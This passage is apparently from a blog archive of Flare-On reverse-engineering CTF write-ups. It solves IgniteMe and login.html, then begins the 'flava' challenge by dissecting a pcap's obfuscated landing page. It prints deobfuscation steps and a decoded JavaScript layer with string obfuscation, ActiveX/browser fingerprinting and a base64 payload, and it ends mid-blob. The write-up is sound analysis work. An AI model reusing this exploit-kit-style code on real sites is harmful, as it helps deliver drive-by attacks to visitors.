char v4; // [esp+Bh] [ebp-1h]
v0 = strlen(byte_403078);
v4 = sub_401000();
for ( i = v0 - 1; i >= 0; --i )
{
byte_403180[i] = v4 ^ byte_403078[i];
v4 = byte_403078[i];
}
for ( j = 0; j < 0x27; ++j )
{
if ( byte_403180[j] != (unsigned __int8)byte_403000[j] )
return 0;
}
return 1;
}
</pre>
</br>
On line 8, the string length of our input (less 0xA and 0xD) is computed and stored in <b>v0</b>. The next line executes <b>sub_401000()</b> which is a very simple function:
</br></br>
<pre class="brush:cpp;">
__int16 sub_401000()
{
return (unsigned __int16)__ROL4__(-2147024896, 4) >> 1;
}
</pre>
</br>
This function returns the value 0x04, which is stored in <b>v4</b>. Lines 11 - 15 iterate over the input string in reverse order, XOR'ing each char with the result of the previous computation. In the first loop it XOR's 0x04 (value of <b>v4</b>) with the last character of our input. The result is then XOR'd with the second from last char, and it keeps on going. Each time, the resultant computations are stored in global variable <b>byte_403180</b>.
</br></br>
Lines 17 - 21 compare the resultant array from the previous algorithm with global variable <b>byte_403000</b>. Each char has to match else the function returns 0 and we end up in the red basic block (refer to 1st image).
</br></br>
Reversing the logic and translate it to a python script:
</br></br>
<pre class="brush:python;">
byte_403000 = '\x0D\x26\x49\x45\x2A\x17\x78\x44\x2B\x6C\x5D\x5E\x45\x12\x2F\x17\x2B\x44\x6F\x6E\x56\x09\x5F\x45\x47\x73\x26\x0A\x0D\x13\x17\x48\x42\x01\x40\x4D\x0C\x02\x69'
xor_value = '\x04'
result = ""
for x in byte_403000[::-1]:
xor_value = chr(ord(x) ^ ord(xor_value))
result += xor_value
print result[::-1]
</pre>
</br>
Testing out the result:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>IgniteMe.exe
G1v3 m3 t3h fl4g: R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com
G00d j0b!
C:\>
</div>
</br>
</br>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-10369032428474720242017-10-18T06:54:00.002-07:002017-10-23T16:57:54.305-07:00CTF Writeup - Flare-On 2017 - 01: login.html<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> login.html</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 1</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/blob/master/Flare-On2017/login.html"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
This year's Flare-On challenge started with a very simple RE(?) challenge, an HTML page which asks for a key.
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-loiKYvf9FBTkkaHKFmsw3cCTifxBzq5Fw3xwwSbMhbVr4z1pNXNWPirj3C7gU_yFjZ_Kzis-r36YA5xiZ0vYi4BicQ_VNGRl44x1DzbnFP0KB3_GdvJj9CtDbi3LkdUGfZ9DBC1GX8hT/s1600/flareon4_1_page.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-loiKYvf9FBTkkaHKFmsw3cCTifxBzq5Fw3xwwSbMhbVr4z1pNXNWPirj3C7gU_yFjZ_Kzis-r36YA5xiZ0vYi4BicQ_VNGRl44x1DzbnFP0KB3_GdvJj9CtDbi3LkdUGfZ9DBC1GX8hT/s400/flareon4_1_page.png" width="400" height="154" data-original-width="353" data-original-height="136" /></a></div>
</br>
If we look at the HTML code it becomes apparent that it uses client-side authentication:
</br>
<pre class="brush:xml;">
<!DOCTYPE Html />
<html>
<head>
<title>FLARE On 2017</title>
</head>
<body>
<input type="text" name="flag" id="flag" value="Enter the flag" />
<input type="button" id="prompt" value="Click to check the flag" />
<script type="text/javascript">
document.getElementById("prompt").onclick = function () {
var flag = document.getElementById("flag").value;
var rotFlag = flag.replace(/[a-zA-Z]/g, function(c){return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);});
if ("PyvragFvqrYbtvafNerRnfl@syner-ba.pbz" == rotFlag) {
alert("Correct flag!");
} else {
alert("Incorrect flag, rot again");
}
}
</script>
</body>
</html>
</pre>
</br>
The javascript takes our input, operates on it and compares it with the string <b>PyvragFvqrYbtvafNerRnfl@syner-ba.pbz</b>. The algorithm is easy enough to recognize: <b>ROT13</b>. At this point we could either use online solutions such as <a href="http://www.rot13.com/"><span style="color: #cccccc;">www.rot13.com</span></a> or a simple python script such as the one below:
<pre class="brush:python;">
import codecs
print codecs.getencoder("rot-13")("PyvragFvqrYbtvafNerRnfl@syner-ba.pbz")[0]
</pre>
</br>
The key is: <b>ClientSideLoginsAreEasy@flare-on.com</b>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-74864637269092789352016-11-04T19:59:00.001-07:002016-11-04T19:59:43.283-07:00CTF Writeup - Flare-On 2016 - 10: flava<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> flava</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 10</span>
<li><b style="color:#cccccc;">Description -</b> <span style="color: #999999;"> n/a</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Flare-On2016/flava.pcap"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br></br>
The final Flare-on challenge was very long and tedious compared to the previous 9 put together. For a change we get a massive pcap rather than a binary file. The stream we're interested is 233, so set the filter to <b>tcp.stream == 233</b>. The communication is between 10.2.2.149 and 10.14.56.20 and the stream starts in the following way:
</br></br>
<pre class="brush:xml;">
GET / HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Referer: http://10.11.106.81:18089/flareon_found_in_milpitas.html
Accept-Language: en-US,en;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: 10.14.56.20:18089
DNT: 1
Connection: Keep-Alive
HTTP/1.1 200 OK
Content-Type: text/html
Date: Thu, 08 Sep 2016 23:42:05 GMT
Connection: keep-alive
Transfer-Encoding: chunked
10d73
<!DOCTYPE html>
<html>
<head>
</pre>
</br>
The stream contains the following request/response pairs:
<ol>
<li style="color:#999999;">GET request ('/') with a response containing an obfuscated landing page</li>
<li style="color:#999999;">POST request ('/i_knew_you_were_trouble ') containing a base64 string with a response containing another base64 string</li>
<li style="color:#999999;">GET request ('/will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh') with a response containing a Flash file</li>
</ol>
Extract the html landing page and the SWF file. We'll start off with the landing page first.
</br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Part I: The Landing Page</span></h2>
</div>
</br>
The landing page looks something like this in IE:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9nS3SnXBHddz567mLcFCua435-ZSLFWB7qhAvwvdjdiCUWsepd_8fR2N_DpeFax3OpWmIzIgPBD0dgIJfayy9fm7ey2FyzjqAVvQ8vLgEccV92gsxFtrp66QKcC1zD9T5IMK9TLi_HxC4/s1600/landing_page.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9nS3SnXBHddz567mLcFCua435-ZSLFWB7qhAvwvdjdiCUWsepd_8fR2N_DpeFax3OpWmIzIgPBD0dgIJfayy9fm7ey2FyzjqAVvQ8vLgEccV92gsxFtrp66QKcC1zD9T5IMK9TLi_HxC4/s600/landing_page.png"/></a></div>
</br>
Remove all the <b>debugger;</b> statements from the javascript and beautify the script. Do not remove any html content though as some of it is referenced form the javascript. If we run it, we don't get anything; not even errors. This is because the final part of the script is contained in a try-catch block:
</br></br>
<pre class="brush:jscript;">
try {
if (FiAwn == 1) {
var U7weQ = new Function(i9mk);
U7weQ();
FiAwn = 2
}
else {
var O0fdFD = new Function(i9mk);
O0fdFD(i9mk)
}
} catch (lol) {}
</pre>
</br>
Removing the try-catch block, we get <b>SyntaxError: Illegal character</b>. The function Function() expects correct javascript to execute it. The script contains 3 validation routines which, if any of them fails, it produces the wrong output which is not javascript. The first check is the following (I've cleaned up the javascript):
</br></br>
<pre class="brush:jscript;">
try {
if (UytFdye['ScriptEngineBuildVersion']() === 545) {
utaNfs = 0;
} else {
utaNfs = 2;
}
} catch (e) {
utaNfs = 4;
}
LiZAqJ = utaNfs;
</pre>
</br>
This ScriptEngineBuildVersion function will only work in IE. If Firefox or Chrome is used, we end up in the catch statement. We require <b>LiZAqJ</b> to be 0; let's change the code to force this. The second change we have to preform is in this section:
</br></br>
<pre class="brush:jscript;">
if (ruHGNbQNzSlh && (!ruHGNbQNzSlh['out' + 'er' + HGLsdfij] || ruHGNbQNzSlh[u9Zdsjl] < (35144 ^ 35912))) {
DM7w7I = 1;
}
else {
var IhUgy = new Date();
DM7w7I = (IhUgy - JKhURsf > 100) ? 3 : 0
}
</pre>
</br>
The variable <b>DM7w7I</b> has to be set to 0. And the last validation routine compares today's date with the 9<sup>th</sup> of September 2016:
</br></br>
<pre class="brush:jscript;">
function UIgvkFSsu() {
//oiHqEd = 9th of September 2016
//JKhURsf = today's date
if (JKhURsf < oiHqEd) {
return true;
}
else {
return false;
}
}
</pre>
</br>
We require our date to be smaller than the fixed date so the function returns true. As it's a bit of a hassle to travel to the past, we'll settle with modifying the code to always return true. Instead of calling the new javascript, we would like to get a copy of it, so modify <b>Function(i9mk)</b> to read <b>document.write(i9mk)</b> (putting it between pre statement might help), open the page and copy the printed javascript into a new file for further analysis.
</br></br>
I have provided a copy of the 2nd javascript layer for reference and just in case anyone would like a copy:
</br></br>
<pre class="brush:jscript;">
function k() {
String['prototype']['kek'] = function(a, b, c, d) {
var e = '';
a = unescape(a);
for (var f = 0; f < a['length']; f++) {
var g = b ^ a['charCodeAt'](f);
e += String['fromCharCode'](g);
b = (b * c + d) & 0xFF;
}
return e;
}, String['prototype']['' ['kek']('%0B%5Ei', 108, 41, 237)] = function() {
return '' ['kek']('%C96%E4B%3Ei_%83n%C1%82%FB%DC%01%EAA+o', 175, 129, 43);
}, String['prototype']['' ['kek']('6%87%24', 94, 13, 297)] = function() {
return '' ['kek']('4%94%0D%86%7BVXJ%AD%1C%87%0E%FE%C0%DA%D2%20%82%01%ACWAJd%B6%06%8D/', 92, 33, 31);
};
try {
m();
var a = l();
var b = Function(a);
b();
} catch (zzzzz) {}
}
try {
k();
} catch (z) {}
function m() {
String['prototype']['lol'] = String['prototype']['>_<'] = String['prototype']['o3o'] = String['prototype']['>_O'] = String['prototype']['-Q-'] = String['prototype']['Orz'] = String['prototype']['^_^'] = String['prototype']['OGC'] = String['prototype']['O_o'] = String['prototype']['-,-'] = String['prototype']['kek'];
window.fvOWbauMcjLj = window.fvOWbauMcjLs = window.fvOWbauMcjLf1 = window.fvOWbauMcjLf2 = '' ['-Q-'];
window.gFVaUK = false;
window.LAAOEpH = false;
window['rghv3ee'] = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
window['wdns9Ie'] = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/=';
window['UoqK1Yl'] = window['wdns9Ie'];
}
function j() {
var blah;
var a = navigator,
b = 0;
if (a[window.fvOWbauMcjLj('u%B2%C7%D1%85b%03%89%FC', 0, 33, 193)][window.fvOWbauMcjLf2('xV%BBc%D5%9B%1D', 17, 129, 167)](window.fvOWbauMcjLs('%CC%E5%22%E5', 129, 129, 181)) == -1 && a[window.fvOWbauMcjLf1('Q%85%BE%5DYC%89%8E%E7%C3', 48, 5, 5)][window.fvOWbauMcjLs('%EF%CD%F4%28%A2x%02', 134, 17, 189)](window.fvOWbauMcjLj('%D67%7D%7B3%07%BC%8C', 130, 5, 187)) == -1) {
window.gFVaUK = true;
}
var c = window.fvOWbauMcjLj('%F3%C2M%F9%E1%5D%F9%FE%29%95%9F%C4J.P', 184, 17, 107) + window.fvOWbauMcjLf2('t%B4%C3%CF%8F%60%1F%85%E7%28', 0, 33, 193) + window.fvOWbauMcjLs('r%A5%F2%CF%B1b%0F%89%A6%03K%5D-%FE%8D%1Dy%A1%C6%F2%A4%7C', 0, 33, 193);
var d = c,
e = c + window.fvOWbauMcjLf1('%3F%09', 17, 129, 167),
f = c + window.fvOWbauMcjLj('%AF%824%95%0A%BA%11E', 129, 129, 181);
try {
blah = new ActiveXObject(d);
} catch (w) {
blah = false;
try {
blah = new ActiveXObject(e);
} catch (w) {
blah = false;
try {
blah = new ActiveXObject(f);
} catch (w) {
blah = false;
}
}
}
if (blah) {
window.LAAOEpH = true;
}
if (!window.gFVaUK && !window.LAAOEpH) {
window['UoqK1Yl'] = window['rghv3ee'];
} else {
window['UoqK1Yl'] = window['wdns9Ie'];
}
}
function l() {
j();
var a = "dmFyIElsMUliID0gTWF0aCwgSWwxSWMgPSBTdHJpbmcsIElsMUlJbGwxYSA9IEpTT04sIElsMUlJbGwxYiA9IFhNTEh0dHBSZXF1ZXN0Owp2YXIgSWwxSWUgPSAnJ1snbG9sJ10oJzklRTQ0JUJDJTFBcCcsIDkwLCA5LCA5NyksCiBJbDFJZiA9ICcnWyc+XzwnXSgnJUQwJTk0JTE4RiVBNSVDMCcsIDE2MiwgNSwgMTk5KSwKIElsMUlnID0gJydbJ09HQyddKCclQjclNUJ5NCVCNiVCNHcnLCAxOTksIDMzLCAxNDcpLAogSWwxSWggPSAnJ1snLVEtJ10oJyVCN2olMTYlOUUlMDQlODglRTQlM0VqJywgMTk5LCAxNywgMjI1KSwKIElsMUkgPSAnJ1snPl9PJ10oJyVEQiVGQ3klN0QlRTEnLCAxNjgsIDEyOSwgMjQ3KSwKIElsMUlpID0gJydbJ28zbyddKCclQzRKJTEzc0klRjclM0QnLCAxNzMsIDUsIDE5NSksCiBJbDFJaiA9ICcnWydPcnonXSgnJUQ2JUU0elAlMjAlRUMnLCAxODEsIDksIDQ3KSwKIElsMUlrID0gJydbJ09yeiddKCdGJTkyJTFDJUQ1JURGJTAyJywgNTIsIDY1LCAxOTEpLAogSWwxSWwgPSAnJ1snXl9eJ10oJyUzRXElMDElRjQlQzdHJUZCJUI3JUYzNCVBMiU5NCcsIDg4LCA2NSwgMTcxKSwKIElsMUltID0gJydbJ15fXiddKCclREZ1JTVDX2MnLCAxOTAsIDMzLCAxMzUpLAogSWwxSW4gPSAnJ1snbG9sJ10oJyVGQSU1RSUxQSVGNlYlOUYnLCAxNTAsIDUsIDc3KSwKIElsMUlvID0gJydbJz5fPCddKCclRjlTJUY4JUFFJUJCJTExJTg5cScsIDE0MSwgNjUsIDExMSksCiBJbDFJcCA9ICcnWydPR0MnXSgnJTAzJUY3JUI3JUI3byVBNCUwNiVENDklMDMnLCA5NiwgOSwgNjMpLAogSWwxSXEgPSAnJ1snT19vJ10oJyVDMyVCRSUxMCVDMysnLCAxNjUsIDEyOSwgMTczKSwKIElsMUlyID0gJydbJ2xvbCddKCclRDQlMUIlRTdNJywgMTY3LCAzMywgMjM1KTsKdmFyIElsMUliYkFhID0gJydbJz5fTyddKCclMTAlOEQlODElQ0UlMTclQTl5OSU1QiVGMCUzQnglREUlM0ZDJUVCJTg1JUZEJUVFJThBJTgwJUZBeSU5RCVDQyVBMTElRDRLSCUyMyVBRjYuJTg0JTVEJTI4JUQ4JTA2ZGclMjQlMjYlRTAlRTMlOEUwcyVBOCUxRiVCMSUxMCVBRiUxQiUwOSUwMyVFMyUwMiVFQlIlNUMlQTklMTMlRTUlRTNPJTNFJUJDJUU2ZCUyOSVDNyozJUMxQyVBOSVGQSUxMyVEMnQlQjB0aFklODZPMycsIDY1LCA1LCAxNDcpOwp2YXIgSWwxSWJic3MgPSAnJ1snLSwtJ10oJyolRjFtJTg5MSU4MicsIDg5LCAzMywgMTEpLAogSWwxSWJic28gPSA2LCBJbDFJYmJzaSA9IDIsIElsMUliYnNuID0gMTA7IAp2YXIgSWwxSWJic2EgPSAnJ1snT19vJ10oJ0clMDJuJTFGZUIlOTMlN0MlQkYlOEIlRkElODAlRjklQUYlMUIlQzMnLCA1MiwgMTI5LCA1MSksCiBJbDFJYmJzYiA9ICcnWyctUS0nXSgnJTlGJTIzJUFCTycsIDI0MCwgOSwgMjI3KSwKIElsMUliYnNjID0gJydbJ09yeiddKCclRUUlREIxJUU0JywgMTU3LCAxMjksIDE2MSksCiBJbDFJYmJzZCA9ICcnWydPcnonXSgnJUFGVWQ0JThEJTgzJTNCJThFbCVGMiUxQSVDQyUyN1clRkIlM0IlMTclOEUnLCAxOTIsIDMzLCAxMjMpLAogSWwxSWJic2UgPSAnJ1snXl9eJ10oJyUwOCVDMCVGMV8lREYlODIlQzglMDYlQTYlOTgnLCAxMjIsIDY1LCAxNzEpLAogSWwxSWJic2YgPSAnJ1snT19vJ10oJzElRkRpJTBCJURCJTI2JywgNjYsIDksIDU1KSwKIElsMUliYnNnID0gJydbJy0sLSddKCdsVEMlM0IlRUQlQTMlN0MlMTAlOUUnLCAzMSwgMTcsIDE3KSwKIElsMUliYnNoID0gJydbJz5fPCddKCdHJUUxJTdCJUExJUJFJywgNTUsIDY1LCAxMzcpLAogSWwxSWJic2wgPSBlc2NhcGUsCiBJbDFJYmJzaiA9IHVuZXNjYXBlLAogSWwxSWJic2sgPSAnJ1snbzNvJ10oJyUwOW1GciUwMCUxMlolMTM3JTk1ZSU5RScsIDEyMywgMzMsIDQ1KSwKIElsMUliYnNwID0gJydbJ28zbyddKCdzJUREJUEyJTE0JywgMzUsIDE3LCA2MyksCiBJbDFJYmJzdCA9IGZhbHNlOwoKSWwxSVogPSBmdW5jdGlvbihpKQp7CiB2YXIgayA9ICcnWyctLC0nXSgnJThFSkpWJTI2eiU5QSVDRSUzRSVCQXo2RmpKJUJFTiU4QSUwQSVCNicsIDIwNywgOSwgMTkzKSArICcnWydPX28nXSgnJTVFJUMwLiUyQyUxRSVFOCUxNDIlNjAqJTk0JUNBWCUwMiU4NCVFMiU5MGolMDQlOEFYUiUxNCVCMiU4MCVDQSU5NGonLCAxMSwgOSwgNTEpICsgJydbJ09yeiddKCclMUElQjYlMTYqQSVFM0FnQSVFM0FvQSVFM1BzQCcsIDEwOSwgNjUsIDMzKTsKIHZhciBvID0gJyc7CiB2YXIgdCA9IDA7CiB3aGlsZSAodCA8IGlbSWwxSW5dKQogewogdmFyIGMxID0gaVtJbDFJcF0odCsrKTsKIHZhciBjMiA9IGlbSWwxSXBdKHQrKyk7CiB2YXIgYzMgPSBpW0lsMUlwXSh0KyspOwogdmFyIGUxID0gYzEgPj4gMjsKIHZhciBlMiA9ICgoYzEgJiAzKSA8PCA0KSB8IChjMiA+PiA0KTsKIHZhciBlMyA9ICgoYzIgJiAxNSkgPDwgMikgfCAoYzMgPj4gNik7CiB2YXIgZTQgPSBjMyAmIDYzOwogaWYgKGlzTmFOKGMyKSkKIHsKIGUzID0gZTQgPSA2NDsKIH0KIGVsc2UgaWYgKGlzTmFOKGMzKSkKIHsKIGU0ID0gNjQ7CiB9CiBvICs9IGtbSWwxSWpdKGUxKSArIGtbSWwxSWpdKGUyKSArIGtbSWwxSWpdKGUzKSArIGtbSWwxSWpdKGU0KTsKIH0KIHJldHVybiBvOwp9CgpJbDFJWSA9IGZ1bmN0aW9uKGkpCnsKIHZhciBrID0gJydbJ09HQyddKCdLb1MlRjdTJTdGJTVCJUY3ayUwRmMlODdjJTFGJTdCJTg3ayUwRiUxMyVCNycsIDEwLCA2NSwgMTYzKSArICcnWydPR0MnXSgnQSU5MSUxMSU5OXFxJTVCJUU3JTlGKyU4Qm8lRjclNUIlMEIlMjclOEYlQkIlRkIlM0YlOTdLJUZCZyVCRitLJUVGJywgMjAsIDUsIDk5KSArICcnWydPR0MnXSgnJTE3JUVCJUZGQyU5QyVFRSVFMCVCNiVDQyUxRSUyOCVFNiU3Q05BMiVBRCcsIDk2LCA2NSwgNTEpOwogdmFyIG8gPSAnJzsKIHZhciByID0gL1teQS1aYS16MC05XCtcL1w9XS9nOwogaSA9IGkucmVwbGFjZShyLCAnJyk7CiB2YXIgdCA9IDA7Cgogd2hpbGUgKHQgPCBpW0lsMUluXSkKIHsKIHZhciBlMSA9IGtbSWwxSWldKGlbSWwxSWpdKHQrKykpOwogdmFyIGUyID0ga1tJbDFJaV0oaVtJbDFJal0odCsrKSk7CiB2YXIgZTMgPSBrW0lsMUlpXShpW0lsMUlqXSh0KyspKTsKIHZhciBlNCA9IGtbSWwxSWldKGlbSWwxSWpdKHQrKykpOwogdmFyIGMxID0gKGUxIDw8IDIpIHwgKGUyID4+IDQpOwogdmFyIGMyID0gKChlMiAmIDE1KSA8PCA0KSB8IChlMyA+PiAyKTsKIHZhciBjMyA9ICgoZTMgJiAzKSA8PCA2KSB8IGU0OwogbyArPSBJbDFJY1tJbDFJbF0oYzEpOwogaWYgKGUzICE9IDY0KQogewogbyArPSBJbDFJY1tJbDFJbF0oYzIpOwogfQogaWYgKGU0ICE9IDY0KQogewogbyArPSBJbDFJY1tJbDFJbF0oYzMpOwogfQogfQogcmV0dXJuIG87Cn07CgoKKGZ1bmN0aW9uKCl7CiB2YXIgSWwxSXMsIElsMUl0OwoKIGZ1bmN0aW9uIElsMUl1KGEsYixjKSB7CiBpZihhICE9IG51bGwpCiBpZignbnVtYmVyJyA9PSB0eXBlb2YgYSkgdGhpcy5JbDFJYmEoYSxiLGMpOwogZWxzZSBpZihiID09IG51bGwgJiYgJ3N0cmluZycgIT0gdHlwZW9mIGEpIHRoaXMuSWwxSXcoYSwyNTYpOwogZWxzZSB0aGlzLklsMUl3KGEsYik7CiB9CgogZnVuY3Rpb24gSWwxSXgoKSB7IHJldHVybiBuZXcgSWwxSXUobnVsbCk7IH0KCiBmdW5jdGlvbiBJbDFJY2EoaSx4LHcsaixjLG4pIHsKIHdoaWxlKC0tbiA+PSAwKSB7CiB2YXIgdiA9IHgqdGhpc1tpKytdK3dbal0rYzsKIGMgPSBJbDFJYltJbDFJcV0odi82NzEwODg2NCk7CiB3W2orK10gPSB2JjY3MTA4ODYzOwogfQogcmV0dXJuIGM7CiB9CgogZnVuY3Rpb24gSWwxSWRhKGkseCx3LGosYyxuKSB7CiB2YXIgeGwgPSB4JjMyNzY3LCB4aCA9IHg+PjE1Owogd2hpbGUoLS1uID49IDApIHsKIHZhciBsID0gdGhpc1tpXSYzMjc2NzsKIHZhciBoID0gdGhpc1tpKytdPj4xNTsKIHZhciBtID0geGgqbCtoKnhsOwogbCA9IHhsKmwrKChtJjMyNzY3KTw8MTUpK3dbal0rKGMmMTA3Mzc0MTgyMyk7CiBjID0gKGw+Pj4zMCkrKG0+Pj4xNSkreGgqaCsoYz4+PjMwKTsKIHdbaisrXSA9IGwmMTA3Mzc0MTgyMzsKIH0KIHJldHVybiBjOwogfQoKIGZ1bmN0aW9uIElsMUllYShpLHgsdyxqLGMsbikgewogdmFyIHhsID0geCYxNjM4MywgeGggPSB4Pj4xNDsKIHdoaWxlKC0tbiA+PSAwKSB7CiB2YXIgbCA9IHRoaXNbaV0mMTYzODM7CiB2YXIgaCA9IHRoaXNbaSsrXT4+MTQ7CiB2YXIgbSA9IHhoKmwraCp4bDsKIGwgPSB4bCpsKygobSYxNjM4Myk8PDE0KSt3W2pdK2M7CiBjID0gKGw+PjI4KSsobT4+MTQpK3hoKmg7CiB3W2orK10gPSBsJjI2ODQzNTQ1NTsKIH0KIHJldHVybiBjOwogfQoKIHZhciBJbDFJZ2cgPSB0eXBlb2YgbmF2aWdhdG9yICE9PSAndW5kZWZpbmVkJzsKIGlmKElsMUlnZyAmJiAobmF2aWdhdG9yLmFwcE5hbWUgPT0gJydbJ09fbyddKCdsaSVBQyVGQ1IlQUYlMDQlOEMtJTk4TiUyOCUwMSVGMSVEMSVDQyVGNCUwNCUxRiVCQiVENSUzQyVCNzUlQkJNJTA1JywgMzMsIDE3LCAyMDcpKSkgewogSWwxSXVbSWwxSWhdLmFtID0gSWwxSWRhOwogSWwxSXQgPSAzMDsKIH0KIGVsc2UgaWYgKElsMUlnZyAmJiAobmF2aWdhdG9yLmFwcE5hbWUgIT0gJydbJy0sLSddKCclMTMlOTMlN0IlREIlQTIlM0IlMDNpJywgOTMsIDEyOSwgMjUpKSkgewogSWwxSXVbSWwxSWhdLmFtID0gSWwxSWNhOwogSWwxSXQgPSAyNjsKIH0KIGVsc2UgewogSWwxSXVbSWwxSWhdLmFtID0gSWwxSWVhOwogSWwxSXQgPSAyODsKIH0KCiBJbDFJcyA9IElsMUl1W0lsMUloXTsKCiBJbDFJcy5EQiA9IElsMUl0OwogSWwxSXMuRE0gPSAoKDE8PElsMUl0KS0xKTsKIElsMUlzLkRWID0gKDE8PElsMUl0KTsKCiBJbDFJcy5GViA9IElsMUliLnBvdygyLDUyKTsKIElsMUlzLkYxID0gNTItSWwxSXQ7CiBJbDFJcy5GMiA9IDIqSWwxSXQtNTI7CgogdmFyIElsMUlmYSA9ICcnWydsb2wnXSgnJTlCJTk3SyVENyU5MyVCNyUwMyVCNyUxQiVFNyUxMCVGRSU3QyVERUglNUUlRkMlN0UlMDAlM0UlRkMlOUVIJTlFJTdDJTNFJTEwJTdFJTdDJTVFaCVERSVGQyVGRSUyMCVCRScsIDE3MSwgOSwgMTYzKTsKIHZhciBJbDFJeiA9IG5ldyBBcnJheSgpOwogdmFyIElsMUlBLElsMUlCOwogSWwxSUEgPSAnMCdbSWwxSXBdKDApOwogZm9yKElsMUlCID0gMDsgSWwxSUIgPD0gOTsgKytJbDFJQikgSWwxSXpbSWwxSUErK10gPSBJbDFJQjsKIElsMUlBID0gJ2EnW0lsMUlwXSgwKTsKIGZvcihJbDFJQiA9IDEwOyBJbDFJQiA8IDM2OyArK0lsMUlCKSBJbDFJeltJbDFJQSsrXSA9IElsMUlCOwogSWwxSUEgPSAnQSdbSWwxSXBdKDApOwogZm9yKElsMUlCID0gMTA7IElsMUlCIDwgMzY7ICsrSWwxSUIpIElsMUl6W0lsMUlBKytdID0gSWwxSUI7CgogZnVuY3Rpb24gSWwxSWkyYyhuKSB7IHJldHVybiBJbDFJZmFbSWwxSWpdKG4pOyB9CgogZnVuY3Rpb24gSWwxSWdhKHMsaSkgewogdmFyIGMgPSBJbDFJeltzW0lsMUlwXShpKV07CiByZXR1cm4gKGM9PW51bGwpPy0xOmM7CiB9CgogZnVuY3Rpb24gSWwxSWVibihyKSB7CiBmb3IodmFyIGkgPSB0aGlzLnQtMTsgaSA+PSAwOyAtLWkpIHJbaV0gPSB0aGlzW2ldOwogci50ID0gdGhpcy50Owogci5zID0gdGhpcy5zOwogfQoKIGZ1bmN0aW9uIElsMUlEYm4oeCkgewogdGhpcy50ID0gMTsKIHRoaXMucyA9ICh4PDApPy0xOjA7CiBpZih4ID4gMCkgdGhpc1swXSA9IHg7CiBlbHNlIGlmKHggPCAtMSkgdGhpc1swXSA9IHgrdGhpcy5EVjsKIGVsc2UgdGhpcy50ID0gMDsKIH0KCiBmdW5jdGlvbiBJbDFJQyhpKSB7IHZhciByID0gSWwxSXgoKTsgci5JbDFJRChpKTsgcmV0dXJuIHI7IH0KCiBmdW5jdGlvbiBJbDFJd2JuKHMsYikgewogdmFyIGs7CiBpZihiID09IDE2KSBrID0gNDsKIGVsc2UgaWYoYiA9PSA4KSBrID0gMzsKIGVsc2UgaWYoYiA9PSAyNTYpIGsgPSA4OwogZWxzZSBpZihiID09IDIpIGsgPSAxOwogZWxzZSBpZihiID09IDMyKSBrID0gNTsKIGVsc2UgaWYoYiA9PSA0KSBrID0gMjsKIGVsc2UgeyB0aGlzLklsMUlsbDFmKHMsYik7IHJldHVybjsgfQogdGhpcy50ID0gMDsKIHRoaXMucyA9IDA7CiB2YXIgaSA9IHMubGVuZ3RoLCBtaSA9IGZhbHNlLCBzaCA9IDA7CiB3aGlsZSgtLWkgPj0gMCkgewogdmFyIHggPSAoaz09OCk/c1tpXSYyNTU6SWwxSWdhKHMsaSk7CiBpZih4IDwgMCkgewogaWYocy5jaGFyQXQoaSkgPT0gJy0nKSBtaSA9IHRydWU7CiBjb250aW51ZTsKIH0KIG1pID0gZmFsc2U7CiBpZihzaCA9PSAwKQogdGhpc1t0aGlzLnQrK10gPSB4OwogZWxzZSBpZihzaCtrID4gdGhpcy5EQikgewogdGhpc1t0aGlzLnQtMV0gfD0gKHgmKCgxPDwodGhpcy5EQi1zaCkpLTEpKTw8c2g7CiB0aGlzW3RoaXMudCsrXSA9ICh4Pj4odGhpcy5EQi1zaCkpOwogfQogZWxzZQogdGhpc1t0aGlzLnQtMV0gfD0geDw8c2g7CiBzaCArPSBrOwogaWYoc2ggPj0gdGhpcy5EQikgc2ggLT0gdGhpcy5EQjsKIH0KIGlmKGsgPT0gOCAmJiAoc1swXSYxMjgpICE9IDApIHsKIHRoaXMucyA9IC0xOwogaWYoc2ggPiAwKSB0aGlzW3RoaXMudC0xXSB8PSAoKDE8PCh0aGlzLkRCLXNoKSktMSk8PHNoOwogfQogdGhpcy5JbDFJTigpOwogaWYobWkpIElsMUlMLklsMUlNKHRoaXMsdGh